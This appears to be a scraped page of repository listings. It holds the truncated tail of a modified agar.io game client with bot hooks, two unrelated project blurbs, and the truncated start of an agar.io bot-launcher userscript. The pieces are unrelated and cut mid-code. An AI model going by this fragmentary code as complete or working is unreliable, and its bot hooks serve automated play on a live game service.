(currentDate.getHours() * 60 * 60)) - (lifeTimer.getSeconds() + (lifeTimer.getMinutes() * 60) + (lifeTimer.getHours() * 60 * 60)); } bestTime = Math.max(nbSeconds, bestTime); var debugStrings = []; debugStrings.push("T - Bot: " + (!toggle ? "On" : "Off")); debugStrings.push("R - Lines: " + (!toggleDraw ? "On" : "Off")); debugStrings.push("Server: " + serverIP); debugStrings.push("Survived for: " + nbSeconds + " seconds"); if (getPlayer().length > 0) { debugStrings.push("Location: " + Math.floor(getPlayer()[0].x) + ", " + Math.floor(getPlayer()[0].y)); } var offsetValue = 20; var text = new ja(18, (getDarkBool() ? '#F2FBFF' : '#111111')); for (var i = 0; i < debugStrings.length; i++) { text.u(debugStrings[i]); var textRender = text.G(); d.drawImage(textRender, 20, offsetValue); offsetValue += textRender.height; } } function cb() { e.fillStyle = ha ? '#111111' : '#F2FBFF'; e.fillRect(0, 0, p, q); e.save(); e.strokeStyle = ha ? '#AAAAAA' : '#000000'; e.globalAlpha = 0.2; e.scale(g, g); for (var a = p / g, b = q / g, c = - 0.5 + ( - s + a / 2) % 50; c < a; c += 50) e.beginPath(), e.moveTo(c, 0), e.lineTo(c, b), e.stroke(); for (c = - 0.5 + ( - t + b / 2) % 50; c < b; c += 50) e.beginPath(), e.moveTo(0, c), e.lineTo(a, c), e.stroke(); e.restore() } function eb() { if (Aa && wa.width) { var a = p / 5; e.drawImage(wa, 5, 5, a, a) } } function db() { for (var a = 0, b = 0; b < m.length; b++) a += m[b].n * m[b].n; return a } function Ja() { w = null; if (null != x || 0 != A.length) if (null != x || ka) { w = document.createElement('canvas'); var a = w.getContext('2d'), b = 60, b = null == x ? b + 24 * A.length : b + 180, c = Math.min(200, 0.3 * p) / 200; w.width = 200 * c; w.height = b * c; a.scale(c, c); a.globalAlpha = 0.4; a.fillStyle = '#000000'; a.fillRect(0, 0, 200, b); a.globalAlpha = 1; a.fillStyle = '#FFFFFF'; c = null; c = 'Leaderboard'; a.font = '30px Ubuntu'; a.fillText(c, 100 - a.measureText(c).width / 2, 40); if (null == x) for (a.font = '20px Ubuntu', b = 0; b < A.length; ++b) c = A[b].name || 'An unnamed cell', ka || (c = 'An unnamed cell'), - 1 != F.indexOf(A[b].id) ? (m[0].name && (c = m[0].name), a.fillStyle = '#FFAAAA') : a.fillStyle = '#FFFFFF', c = b + 1 + '. ' + c, a.fillText(c, 100 - a.measureText(c).width / 2, 70 + 24 * b); else for (b = c = 0; b < x.length; ++b) { var d = c + x[b] * Math.PI * 2; a.fillStyle = fb[b + 1]; a.beginPath(); a.moveTo(100, 140); a.arc(100, 140, 80, c, d, !1); a.fill(); c = d } } } function Ka(a, b, c, d, e, l) { u.push(this); z[a] = this; this.id = a; this.p = this.x = b; this.q = this.y = c; this.o = this.size = d; this.color = e; this.a = [ ]; this.l = [ ]; this.R(); this.Z(l) } function ja(a, b, c, d) { a && (this.r = a); b && (this.N = b); this.P = !!c; d && (this.s = d) } var $ = h.location.protocol, Va = 'https:' == $, //UPDATE toggle = false, toggleDraw = false, tempPoint = [0, 0, 1], dPoints = [], circles = [], dArc = [], dText = [], lines = [], originalName = "NotReallyABot", sessionScore = 0, serverIP = "", interNodes = [], lifeTimer = new Date(), bestTime = 0, botIndex = 0, ma, e, B, p, q, L = null, r = null, s = 0, t = 0, F = [ ], m = [ ], z = { }, u = [ ], H = [ ], A = [ ], T = 0, U = 0, X = - 1, Y = - 1, bb = 0, G = 0, E = null, da = 0, ea = 0, fa = 10000, ga = 10000, g = 1, v = null, Oa = !0, ka = !0, xa = !1, ta = !1, I = 0, ha = !1, Pa = !1, P = s = ~~((da + fa) / 2), Q = t = ~~((ea + ga) / 2), R = 1, M = '', x = null, la = !1, sa = !1, qa = 0, ra = 0, ba = 0, ca = 0, Qa = 0, fb = [ '#333333', '#FF3333', '#33FF33', '#3333FF' ], va = !1, D = 1, Aa = 'ontouchstart' in h && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent), wa = new Image; wa.src = 'img/split.png'; var Ra = document.createElement('canvas'); if ('undefined' == typeof console || 'undefined' == typeof DataView || 'undefined' == typeof WebSocket || null == Ra || null == Ra.getContext || null == h.localStorage) alert('You browser does not support this game, we recommend you to use Firefox to play this'); else { var Z = null; h.setNick = function (a) { //UPDATE originalName = a; if (getPlayer().length == 0) { lifeTimer = new Date(); } Ga(); E = a; Ia(); I = 0 }; h.setRegion = V; h.setSkins = function (a) { Oa = a }; h.setNames = function (a) { ka = a }; h.setDarkTheme = function (a) { ha = a }; h.setColors = function (a) { xa = a }; h.setShowMass = function (a) { Pa = a }; h.spectate = function () { E = null; C(1); Ga() }; h.setGameMode = function (a) { a != M && (M = a, W()) }; h.setAcid = function (a) { va = a }; null != h.localStorage && (null == h.localStorage.AB8 && (h.localStorage.AB8 = 0 + ~~(100 * Math.random())), Qa = + h.localStorage.AB8, h.ABGroup = Qa); f.get($ + '//gc.agar.io', function (a) { var b = a.split(' '); a = b[0]; b = b[1] || ''; - 1 == 'DE IL PL HU BR AT UA'.split(' ').indexOf(a) && ya.push('nazi'); - 1 == ['UA'].indexOf(a) && ya.push('ussr'); S.hasOwnProperty(a) && ('string' == typeof S[a] ? v || V(S[a]) : S[a].hasOwnProperty(b) && (v || V(S[a][b]))) }, 'text'); setTimeout(function () { }, 300000); var S = { AF: 'JP-Tokyo', AX: 'EU-London', AL: 'EU-London', DZ: 'EU-London', AS: 'SG-Singapore', AD: 'EU-London', AO: 'EU-London', AI: 'US-Atlanta', AG: 'US-Atlanta', AR: 'BR-Brazil', AM: 'JP-Tokyo', AW: 'US-Atlanta', AU: 'SG-Singapore', AT: 'EU-London', AZ: 'JP-Tokyo', BS: 'US-Atlanta', BH: 'JP-Tokyo', BD: 'JP-Tokyo', BB: 'US-Atlanta', BY: 'EU-London', BE: 'EU-London', BZ: 'US-Atlanta', BJ: 'EU-London', BM: 'US-Atlanta', BT: 'JP-Tokyo', BO: 'BR-Brazil', BQ: 'US-Atlanta', BA: 'EU-London', BW: 'EU-London', BR: 'BR-Brazil', IO: 'JP-Tokyo', VG: 'US-Atlanta', BN: 'JP-Tokyo', BG: 'EU-London', BF: 'EU-London', BI: 'EU-London', KH: 'JP-Tokyo', CM: 'EU-London', CA: 'US-Atlanta', CV: 'EU-London', KY: 'US-Atlanta', CF: 'EU-London', TD: 'EU-London', CL: 'BR-Brazil', CN: 'CN-China', CX: 'JP-Tokyo', CC: 'JP-Tokyo', CO: 'BR-Brazil', KM: 'EU-London', CD: 'EU-London', CG: 'EU-London', CK: 'SG-Singapore', CR: 'US-Atlanta', CI: 'EU-London', HR: 'EU-London', CU: 'US-Atlanta', CW: 'US-Atlanta', CY: 'JP-Tokyo', CZ: 'EU-London', DK: 'EU-London', DJ: 'EU-London', DM: 'US-Atlanta', DO: 'US-Atlanta', EC: 'BR-Brazil', EG: 'EU-London', SV: 'US-Atlanta', GQ: 'EU-London', ER: 'EU-London', EE: 'EU-London', ET: 'EU-London', FO: 'EU-London', FK: 'BR-Brazil', FJ: 'SG-Singapore', FI: 'EU-London', FR: 'EU-London', GF: 'BR-Brazil', PF: 'SG-Singapore', GA: 'EU-London', GM: 'EU-London', GE: 'JP-Tokyo', DE: 'EU-London', GH: 'EU-London', GI: 'EU-London', GR: 'EU-London', GL: 'US-Atlanta', GD: 'US-Atlanta', GP: 'US-Atlanta', GU: 'SG-Singapore', GT: 'US-Atlanta', GG: 'EU-London', GN: 'EU-London', GW: 'EU-London', GY: 'BR-Brazil', HT: 'US-Atlanta', VA: 'EU-London', HN: 'US-Atlanta', HK: 'JP-Tokyo', HU: 'EU-London', IS: 'EU-London', IN: 'JP-Tokyo', ID: 'JP-Tokyo', IR: 'JP-Tokyo', IQ: 'JP-Tokyo', IE: 'EU-London', IM: 'EU-London', IL: 'JP-Tokyo', IT: 'EU-London', JM: 'US-Atlanta', JP: 'JP-Tokyo', JE: 'EU-London', JO: 'JP-Tokyo', KZ: 'JP-Tokyo', KE: 'EU-London', KI: 'SG-Singapore', KP: 'JP-Tokyo', KR: 'JP-Tokyo', KW: 'JP-Tokyo', KG: 'JP-Tokyo', LA: 'JP-Tokyo', LV: 'EU-London', LB: 'JP-Tokyo', LS: 'EU-London', LR: 'EU-London', LY: 'EU-London', LI: 'EU-London', LT: 'EU-London', LU: 'EU-London', MO: 'JP-Tokyo', MK: 'EU-London', MG: 'EU-London', MW: 'EU-London', MY: 'JP-Tokyo', MV: 'JP-Tokyo', ML: 'EU-London', MT: 'EU-London', MH: 'SG-Singapore', MQ: 'US-Atlanta', MR: 'EU-London', MU: 'EU-London', YT: 'EU-London', MX: 'US-Atlanta', FM: 'SG-Singapore', MD: 'EU-London', MC: 'EU-London', MN: 'JP-Tokyo', ME: 'EU-London', MS: 'US-Atlanta', MA: 'EU-London', MZ: 'EU-London', MM: 'JP-Tokyo', NA: 'EU-London', NR: 'SG-Singapore', NP: 'JP-Tokyo', NL: 'EU-London', NC: 'SG-Singapore', NZ: 'SG-Singapore', NI: 'US-Atlanta', NE: 'EU-London', NG: 'EU-London', NU: 'SG-Singapore', NF: 'SG-Singapore', MP: 'SG-Singapore', NO: 'EU-London', OM: 'JP-Tokyo', PK: 'JP-Tokyo', PW: 'SG-Singapore', PS: 'JP-Tokyo', PA: 'US-Atlanta', PG: 'SG-Singapore', PY: 'BR-Brazil', PE: 'BR-Brazil', PH: 'JP-Tokyo', PN: 'SG-Singapore', PL: 'EU-London', PT: 'EU-London', PR: 'US-Atlanta', QA: 'JP-Tokyo', RE: 'EU-London', RO: 'EU-London', RU: 'RU-Russia', RW: 'EU-London', BL: 'US-Atlanta', SH: 'EU-London', KN: 'US-Atlanta', LC: 'US-Atlanta', MF: 'US-Atlanta', PM: 'US-Atlanta', VC: 'US-Atlanta', WS: 'SG-Singapore', SM: 'EU-London', ST: 'EU-London', SA: 'EU-London', SN: 'EU-London', RS: 'EU-London', SC: 'EU-London', SL: 'EU-London', SG: 'JP-Tokyo', SX: 'US-Atlanta', SK: 'EU-London', SI: 'EU-London', SB: 'SG-Singapore', SO: 'EU-London', ZA: 'EU-London', SS: 'EU-London', ES: 'EU-London', LK: 'JP-Tokyo', SD: 'EU-London', SR: 'BR-Brazil', SJ: 'EU-London', SZ: 'EU-London', SE: 'EU-London', CH: 'EU-London', SY: 'EU-London', TW: 'JP-Tokyo', TJ: 'JP-Tokyo', TZ: 'EU-London', TH: 'JP-Tokyo', TL: 'JP-Tokyo', TG: 'EU-London', TK: 'SG-Singapore', TO: 'SG-Singapore', TT: 'US-Atlanta', TN: 'EU-London', TR: 'TK-Turkey', TM: 'JP-Tokyo', TC: 'US-Atlanta', TV: 'SG-Singapore', UG: 'EU-London', UA: 'EU-London', AE: 'EU-London', GB: 'EU-London', US: { AL: 'US-Atlanta', AK: 'US-Fremont', AZ: 'US-Fremont', AR: 'US-Atlanta', CA: 'US-Fremont', CO: 'US-Fremont', CT: 'US-Atlanta', DE: 'US-Atlanta', FL: 'US-Atlanta', GA: 'US-Atlanta', HI: 'US-Fremont', ID: 'US-Fremont', IL: 'US-Atlanta', IN: 'US-Atlanta', IA: 'US-Atlanta', KS: 'US-Atlanta', KY: 'US-Atlanta', LA: 'US-Atlanta', ME: 'US-Atlanta', MD: 'US-Atlanta', MA: 'US-Atlanta', MI: 'US-Atlanta', MN: 'US-Fremont', MS: 'US-Atlanta', MO: 'US-Atlanta', MT: 'US-Fremont', NE: 'US-Fremont', NV: 'US-Fremont', NH: 'US-Atlanta', NJ: 'US-Atlanta', NM: 'US-Fremont', NY: 'US-Atlanta', NC: 'US-Atlanta', ND: 'US-Fremont', OH: 'US-Atlanta', OK: 'US-Atlanta', OR: 'US-Fremont', PA: 'US-Atlanta', RI: 'US-Atlanta', SC: 'US-Atlanta', SD: 'US-Fremont', TN: 'US-Atlanta', TX: 'US-Atlanta', UT: 'US-Fremont', VT: 'US-Atlanta', VA: 'US-Atlanta', WA: 'US-Fremont', WV: 'US-Atlanta', WI: 'US-Atlanta', WY: 'US-Fremont', DC: 'US-Atlanta', AS: 'US-Atlanta', GU: 'US-Atlanta', MP: 'US-Atlanta', PR: 'US-Atlanta', UM: 'US-Atlanta', VI: 'US-Atlanta' }, UM: 'SG-Singapore', VI: 'US-Atlanta', UY: 'BR-Brazil', UZ: 'JP-Tokyo', VU: 'SG-Singapore', VE: 'BR-Brazil', VN: 'JP-Tokyo', WF: 'SG-Singapore', EH: 'EU-London', YE: 'JP-Tokyo', ZM: 'EU-London', ZW: 'EU-London' }; h.connect = Ha; //UPDATE window.getDarkBool = function() { return ha; } window.getMassBool = function() { return Pa; } window.getMemoryCells = function() { return interNodes; } window.getCellsArray = function() { return u; } window.getCells = function() { return z; } window.getPlayer = function() { return m; } window.getWidth = function() { return p; } window.getHeight = function() { return q; } window.getRatio = function() { return g; } window.getOffsetX = function() { return P; } window.getOffsetY = function() { return Q; } window.getX = function() { return s; } window.getY = function() { return t; } window.getPointX = function() { return X; } window.getPointY = function() { return Y; } window.getMouseX = function() { return T; } window.getMouseY = function() { return U; } window.getScreenDistance = function() { var temp = screenDistance(); return temp; } window.getLastUpdate = function() { return G; } window.setPoint = function(x, y) { X = x; Y = y; } window.createFake = function(a, b, c, d, e, f) { var n = new Ka(a, b, c, d, e, f); return n; } window.setScore = function(a) { sessionScore = a * 100; } window.setBestTime = function(a) { bestTime = a; } window.best = function(a, b) { setScore(a); setBestTime(b); } window.setBotIndex = function(a) { console.log("Changing bot"); botIndex = a; } var aa = 500, La = - 1, Ma = - 1, w = null, y = 1, ia = null, J = { }, ya = 'poland;usa;china;russia;canada;australia;spain;brazil;germany;ukraine;france;sweden;hitler;north korea;south korea;japan;united kingdom;earth;greece;latvia;lithuania;estonia;finland;norway;cia;maldivas;austria;nigeria;reddit;yaranaika;confederate;9gag;indiana;4chan;italy;bulgaria;tumblr;2ch.hk;hong kong;portugal;jamaica;german empire;mexico;sanik;switzerland;croatia;chile;indonesia;bangladesh;thailand;iran;iraq;peru;moon;botswana;bosnia;netherlands;european union;taiwan;pakistan;hungary;satanist;qing dynasty;matriarchy;patriarchy;feminism;ireland;texas;facepunch;prodota;cambodia;steam;piccolo;ea;india;kc;denmark;quebec;ayy lmao;sealand;bait;tsarist russia;origin;vinesauce;stalin;belgium;luxembourg;stussy;prussia;8ch;argentina;scotland;sir;romania;belarus;wojak;doge;nasa;byzantium;imperial japan;french kingdom;somalia;turkey;mars;pokerface;8;irs;receita federal;facebook'.split(';'), gb = [ '8', 'nasa' ], hb = [ 'm\'blob' ]; Ka.prototype = { id: 0, a: null, //points l: null, //pointsAcc name: null, //name k: null, //nameCache J: null, //sizeCache x: 0, y: 0, size: 0, p: 0, //ox q: 0, //oy o: 0, //oSize D: 0, //nx F: 0, //ny n: 0, //nSize W: 0, //drawTime L: 0, //updateTime ja: 0, ba: 0, A: !1, d: !1, j: !1, M: !0, //UPDATE updateCode: 0, danger: false, dangerTimeOut: 0, S: function () { var a; for (a = 0; a < u.length; a++) if (u[a] == this) { u.splice(a, 1); break } delete z[this.id]; a = m.indexOf(this); - 1 != a && (ta = !0, m.splice(a, 1)); a = F.indexOf(this.id); - 1 != a && F.splice(a, 1); this.A = !0; H.push(this) }, h: function () { return Math.max(~~(0.3 * this.size), 24) }, Z: function (a) { if (this.name = a) null == this.k ? this.k = new ja(this.h(), '#FFFFFF', !0, '#000000') : this.k.H(this.h()), this.k.u(this.name) }, R: function () { for (var a = this.C(); this.a.length > a; ) { var b = ~~(Math.random() * this.a.length); this.a.splice(b, 1); this.l.splice(b, 1) } 0 == this.a.length && 0 < a && (this.a.push({ Q: this, e: this.size, x: this.x, y: this.y }), this.l.push(Math.random() - 0.5)); for (; this.a.length < a; ) { var b = ~~(Math.random() * this.a.length), c = this.a[b]; this.a.splice(b, 0, { Q: this, e: c.e, x: c.x, y: c.y }); this.l.splice(b, 0, this.l[b]) } }, C: function () { var a = 10; 20 > this.size && (a = 0); this.d && (a = 30); var b = this.size; this.d || (b *= g); b *= y; this.W & 32 && (b *= 0.25); return ~~Math.max(b, a) }, ha: function () { this.R(); for (var a = this.a, b = this.l, c = a.length, d = 0; d < c; ++d) { var e = b[(d - 1 + c) % c], l = b[(d + 1) % c]; b[d] += (Math.random() - 0.5) * (this.j ? 3 : 1); b[d] *= 0.7; 10 < b[d] && (b[d] = 10); - 10 > b[d] && (b[d] = - 10); b[d] = (e + l + 8 * b[d]) / 10 } for (var k = this, h = this.d ? 0 : (this.id / 1000 + G / 10000) % (2 * Math.PI), d = 0; d < c; ++d) { var f = a[d].e, e = a[(d - 1 + c) % c].e, l = a[(d + 1) % c].e; if (15 < this.size && null != L && 20 < this.size * g) { var m = !1, p = a[d].x, q = a[d].y; L.ia(p - 5, q - 5, 10, 10, function (a) { a.Q != k && 25 > (p - a.x) * (p - a.x) + (q - a.y) * (q - a.y) && (m = !0) }); !m && (a[d].x < da || a[d].y < ea || a[d].x > fa || a[d].y > ga) && (m = !0); m && (0 < b[d] && (b[d] = 0), b[d] -= 1) } f += b[d]; 0 > f && (f = 0); f = this.j ? (19 * f + this.size) / 20 : (12 * f + this.size) / 13; a[d].e = (e + l + 8 * f) / 10; e = 2 * Math.PI / c; l = this.a[d].e; this.d && 0 == d % 2 && (l += 5); a[d].x = this.x + Math.cos(e * d + h) * l; a[d].y = this.y + Math.sin(e * d + h) * l } }, K: function () { var a; a = (G - this.L) / 120; a = 0 > a ? 0 : 1 < a ? 1 : a; var b = 0 > a ? 0 : 1 < a ? 1 : a; this.h(); if (this.A && 1 <= b) { var c = H.indexOf(this); - 1 != c && H.splice(c, 1) } this.x = a * (this.D - this.p) + this.p; this.y = a * (this.F - this.q) + this.q; this.size = b * (this.n - this.o) + this.o; return b }, I: function () { return this.x + this.size + 40 < s - p / 2 / g || this.y + this.size + 40 < t - q / 2 / g || this.x - this.size - 40 > s + p / 2 / g || this.y - this.size - 40 > t + q / 2 / g ? !1 : !0 }, T: function () { if (this.I()) { var a = !this.d && !this.j && 0.4 > g; 5 > this.C() && (a = !0); if (this.M && !a) for (var b = 0; b < this.a.length; b++) this.a[b].e = this.size; this.M = a; e.save(); this.ba = G; b = this.K(); this.A && (e.globalAlpha *= 1 - b); e.lineWidth = 10; e.lineCap = 'round'; e.lineJoin = this.d ? 'miter' : 'round'; xa ? (e.fillStyle = '#FFFFFF', e.strokeStyle = '#AAAAAA') : (e.fillStyle = this.color, e.strokeStyle = this.color); if (a) e.beginPath(), e.arc(this.x, this.y, this.size, 0, 2 * Math.PI, !1); else { this.ha(); e.beginPath(); var c = this.C(); e.moveTo(this.a[0].x, this.a[0].y); for (b = 1; b <= c; ++b) { var d = b % c; e.lineTo(this.a[d].x, this.a[d].y) } } e.closePath(); c = this.name.toLowerCase(); !this.j && Oa && ':teams' != M ? - 1 != ya.indexOf(c) ? (J.hasOwnProperty(c) || (J[c] = new Image, J[c].src = 'skins/' + c + '.png'), b = 0 != J[c].width && J[c].complete ? J[c] : null) : b = null : b = null; b = (d = b) ? - 1 != hb.indexOf(c) : !1; a || e.stroke(); e.fill(); null == d || b || (e.save(), e.clip(), e.drawImage(d, this.x - this.size, this.y - this.size, 2 * this.size, 2 * this.size), e.restore()); (xa || 15 < this.size) && !a && (e.strokeStyle = '#000000', e.globalAlpha *= 0.1, e.stroke()); e.globalAlpha = 1; null != d && b && e.drawImage(d, this.x - 2 * this.size, this.y - 2 * this.size, 4 * this.size, 4 * this.size); b = - 1 != m.indexOf(this); a = ~~this.y; if ((ka || b) && this.name && this.k && (null == d || - 1 == gb.indexOf(c))) { d = this.k; d.u(this.name); d.H(this.h()); c = Math.ceil(10 * g) / 10; d.$(c); var d = d.G(), f = ~~(d.width / c), l = ~~(d.height / c); e.drawImage(d, ~~this.x - ~~(f / 2), a - ~~(l / 2), f, l); a += d.height / 2 / c + 4 } Pa && (b || 0 == m.length && (!this.d || this.j) && 20 < this.size) && (null == this.J && (this.J = new ja(this.h() / 2, '#FFFFFF', !0, '#000000')), b = this.J, b.H(this.h() / 2), b.u(~~(this.size * this.size / 100)), c = Math.ceil(10 * g) / 10, b.$(c), d = b.G(), f = ~~(d.width / c), l = ~~(d.height / c), e.drawImage(d, ~~this.x - ~~(f / 2), a - ~~(l / 2), f, l)); e.restore() } } }; ja.prototype = { w: '', N: '#000000', P: !1, s: '#000000', r: 16, m: null, O: null, g: !1, v: 1, H: function (a) { this.r != a && (this.r = a, this.g = !0) }, $: function (a) { this.v != a && (this.v = a, this.g = !0) }, setStrokeColor: function (a) { this.s != a && (this.s = a, this.g = !0) }, u: function (a) { a != this.w && (this.w = a, this.g = !0) }, G: function () { null == this.m && (this.m = document.createElement('canvas'), this.O = this.m.getContext('2d')); if (this.g) { this.g = !1; var a = this.m, b = this.O, c = this.w, d = this.v, e = this.r, l = e + 'px Ubuntu'; b.font = l; var k = ~~(0.2 * e); a.width = (b.measureText(c).width + 6) * d; a.height = (e + k) * d; b.font = l; b.scale(d, d); b.globalAlpha = 1; b.lineWidth = 3; b.strokeStyle = this.s; b.fillStyle = this.N; this.P && b.strokeText(c, 3, e - k / 2); b.fillText(c, 3, e - k / 2) } return this.m } }; Date.now || (Date.now = function () { return (new Date).getTime() }); var Ua = { ca: function (a) { function b(a, b, c, d, e) { this.x = a; this.y = b; this.f = c; this.c = d; this.depth = e; this.items = [ ]; this.b = [ ] } var c = a.da || 2, d = a.ea || 4; b.prototype = { x: 0, y: 0, f: 0, c: 0, depth: 0, items: null, b: null, B: function (a) { for (var b = 0; b < this.items.length; ++b) { var c = this.items[b]; if (c.x >= a.x && c.y >= a.y && c.x < a.x + a.f && c.y < a.y + a.c) return !0 } if (0 != this.b.length) { var d = this; return this.V(a, function (b) { return d.b[b].B(a) }) } return !1 }, t: function (a, b) { for (var c = 0; c < this.items.length; ++c) b(this.items[c]); if (0 != this.b.length) { var d = this; this.V(a, function (c) { d.b[c].t(a, b) }) } }, i: function (a) { 0 != this.b.length ? this.b[this.U(a)].i(a) : this.items.length >= c && this.depth < d ? (this.aa(), this.b[this.U(a)].i(a)) : this.items.push(a) }, U: function (a) { return a.x < this.x + this.f / 2 ? a.y < this.y + this.c / 2 ? 0 : 2 : a.y < this.y + this.c / 2 ? 1 : 3 }, V: function (a, b) { return a.x < this.x + this.f / 2 && (a.y < this.y + this.c / 2 && b(0) || a.y >= this.y + this.c / 2 && b(2)) || a.x >= this.x + this.f / 2 && (a.y < this.y + this.c / 2 && b(1) || a.y >= this.y + this.c / 2 && b(3)) ? !0 : !1 }, aa: function () { var a = this.depth + 1, c = this.f / 2, d = this.c / 2; this.b.push(new b(this.x, this.y, c, d, a)); this.b.push(new b(this.x + c, this.y, c, d, a)); this.b.push(new b(this.x, this.y + d, c, d, a)); this.b.push(new b(this.x + c, this.y + d, c, d, a)); a = this.items; this.items = [ ]; for (c = 0; c < a.length; c++) this.i(a[c]) }, clear: function () { for (var a = 0; a < this.b.length; a++) this.b[a].clear(); this.items.length = 0; this.b.length = 0 } }; var e = { x: 0, y: 0, f: 0, c: 0 }; return { root: new b(a.X, a.Y, a.fa - a.X, a.ga - a.Y, 0), i: function (a) { this.root.i(a) }, t: function (a, b) { this.root.t(a, b) }, ia: function (a, b, c, d, f) { e.x = a; e.y = b; e.f = c; e.c = d; this.root.t(e, f) }, B: function (a) { return this.root.B(a) }, clear: function () { this.root.clear() } } } }; h.onload = Sa } }) (window, window.jQuery);
henrysting
No description available
aunyks
Code for connecting an RP2040 (via Raspberry Pi Pico) to a Bosch BNO055 IMU (via an Adafruit breakout board) and having the realtime orientation data be sent to the host machine via serial USB.
itmtr
// ==UserScript== // @name Launcher // @namespace AposLauncher // @include http://agar.io/ // @version 2 // @grant none // @author http://www.twitch.tv/apostolique // ==/UserScript== Number.prototype.mod = function(n) { return ((this%n)+n)%n; }; Array.prototype.peek = function() { return this[this.length-1]; } console.log("Running Bot Launcher!"); (function (f, g) { function keyAction(e) { if (84 == e.keyCode) { console.log("Toggle"); toggle = !toggle; } if (82 == e.keyCode) { console.log("ToggleDraw"); toggleDraw = !toggleDraw; } if (68 == e.keyCode) { f.setDarkTheme(!getDarkBool()); } if (70 == e.keyCode) { f.setShowMass(!getMassBool()); } } function humanPlayer() { //Don't need to do anything. return [getPointX(), getPointY()]; } function Pa() { if (f.botList == null) { f.botList = []; g('#locationUnknown').append(g('<select id="bList" class="form-control" onchange="setBotIndex($(this).val());" />')); g('#locationUnknown').addClass('form-group'); } f.botList.push(["Human", humanPlayer]); var bList = g('#bList'); g('<option />', {value: (f.botList.length - 1), text: "Human"}).appendTo(bList); ja = !0; xa(); setInterval(xa, 180000); A = ka = document.getElementById('canvas'); e = A.getContext('2d'); A.onmousedown = function (a) { if (ya) { var b = a.clientX - (5 + p / 5 / 2), c = a.clientY - (5 + p / 5 / 2); if (Math.sqrt(b * b + c * c) <= p / 5 / 2) { K(); B(17); return } } S = a.clientX; T = a.clientY; la(); K() }; A.onmousemove = function (a) { S = a.clientX; T = a.clientY; la() }; A.onmouseup = function (a) { }; /firefox/i.test(navigator.userAgent) ? document.addEventListener('DOMMouseScroll', za, !1) : document.body.onmousewheel = za; var a = !1, b = !1, c = !1; f.onkeydown = function (d) { 32 != d.keyCode || a || (K(), B(17), a = !0); 81 != d.keyCode || b || (B(18), b = !0); 87 != d.keyCode || c || (K(), B(21), c = !0); 27 == d.keyCode && Aa(!0) keyAction(d); }; f.onkeyup = function (d) { 32 == d.keyCode && (a = !1); 87 == d.keyCode && (c = !1); 81 == d.keyCode && b && (B(19), b = !1) }; f.onblur = function () { B(19); c = b = a = !1 }; f.onresize = Ba; Ba(); f.requestAnimationFrame ? f.requestAnimationFrame(Ca) : setInterval(ma, 1000 / 60); setInterval(K, 40); u && g('#region').val(u); Da(); U(g('#region').val()); null == m && u && V(); g('#overlays').show() } function za(a) { C *= Math.pow(0.9, a.wheelDelta / - 120 || a.detail || 0); 1 > C && (C = 1); C > 4 / h && (C = 4 / h) } function Qa() { if (0.35 > h) L = null; else { for (var a = Number.POSITIVE_INFINITY, b = Number.POSITIVE_INFINITY, c = Number.NEGATIVE_INFINITY, d = Number.NEGATIVE_INFINITY, e = 0, q = 0; q < n.length; q++) n[q].shouldRender() && (e = Math.max(n[q].size, e), a = Math.min(n[q].x, a), b = Math.min(n[q].y, b), c = Math.max(n[q].x, c), d = Math.max(n[q].y, d)); L = QUAD.init({ minX: a - (e + 100), minY: b - (e + 100), maxX: c + (e + 100), maxY: d + (e + 100) }); for (q = 0; q < n.length; q++) if (a = n[q], a.shouldRender()) for (b = 0; b < a.points.length; ++b) L.insert(a.points[b]) } } function la() { if (toggle ||f.botList[botIndex][0] == "Human") { W = (S - p / 2) / h + s; X = (T - r / 2) / h + t } } function xa() { null == Y && (Y = { }, g('#region').children().each(function () { var a = g(this), b = a.val(); b && (Y[b] = a.text()) })); g.get(F + '//m.agar.io/info', function (a) { var b = { }, c; for (c in a.regions) { var d = c.split(':') [0]; b[d] = b[d] || 0; b[d] += a.regions[c].numPlayers } for (c in b) g('#region option[value="' + c + '"]').text(Y[c] + ' (' + b[c] + ' players)') }, 'json') } function Ea() { g('#adsBottom').hide(); g('#overlays').hide(); Da() } function U(a) { a && a != u && (g('#region').val() != a && g('#region').val(a), u = f.localStorage.location = a, g('.region-message').hide(), g('.region-message.' + a).show(), g('.btn-needs-server').prop('disabled', !1), ja && V()) } function Aa(a) { D = null; g('#overlays').fadeIn(a ? 200 : 3000); a || g('#adsBottom').fadeIn(3000) } function Da() { g('#region').val() ? f.localStorage.location = g('#region').val() : f.localStorage.location && g('#region').val(f.localStorage.location); g('#region').val() ? g('#locationKnown').append(g('#region')) : g('#locationUnknown').append(g('#region')) } function na() { console.log('Find ' + u + M); g.ajax(F + '//m.agar.io/', { error: function () { setTimeout(na, 1000) }, success: function (a) { a = a.split('\n'); '45.79.222.79:443' == a[0] ? na() : Fa('ws://' + a[0]) }, dataType: 'text', method: 'POST', cache: !1, crossDomain: !0, data: u + M || '?' }) } function V() { ja && u && (g('#connecting').show(), na()) } function Fa(a) { if (m) { m.onopen = null; m.onmessage = null; m.onclose = null; try { m.close() } catch (b) { } m = null } var c = f.location.search.slice(1); /^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+:[0-9]+$/.test(c) && (a = 'ws://' + c); Ga && (a = a.split(':'), a = a[0] + 's://ip-' + a[1].replace(/\./g, '-').replace(/\//g, '') + '.tech.agar.io:' + ( + a[2] + 2000)); E = [ ]; l = [ ]; y = { }; n = [ ]; G = [ ]; z = [ ]; v = w = null; H = 0; console.log('Connecting to ' + a); serverIP = a; m = new WebSocket(a, Ga ? [ 'binary', 'base64' ] : [ ]); m.binaryType = 'arraybuffer'; m.onopen = Ra; m.onmessage = Sa; m.onclose = Ta; m.onerror = function () { console.log('socket error') } } function Ra(a) { Z = 500; g('#connecting').hide(); console.log('socket open'); a = new ArrayBuffer(5); var b = new DataView(a); b.setUint8(0, 254); b.setUint32(1, 4, !0); m.send(a); a = new ArrayBuffer(5); b = new DataView(a); b.setUint8(0, 255); b.setUint32(1, 673720360, !0); m.send(a); Ha() } function Ta(a) { console.log('socket close'); setTimeout(V, Z); Z *= 1.5 } function Sa(a) { function b() { for (var a = ''; ; ) { var b = d.getUint16(c, !0); c += 2; if (0 == b) break; a += String.fromCharCode(b) } return a } var c = 0, d = new DataView(a.data); 240 == d.getUint8(c) && (c += 5); switch (d.getUint8(c++)) { case 16: Ua(d, c); break; case 17: N = d.getFloat32(c, !0); c += 4; O = d.getFloat32(c, !0); c += 4; P = d.getFloat32(c, !0); c += 4; break; case 20: l = [ ]; E = [ ]; break; case 21: oa = d.getInt16(c, !0); c += 2; pa = d.getInt16(c, !0); c += 2; 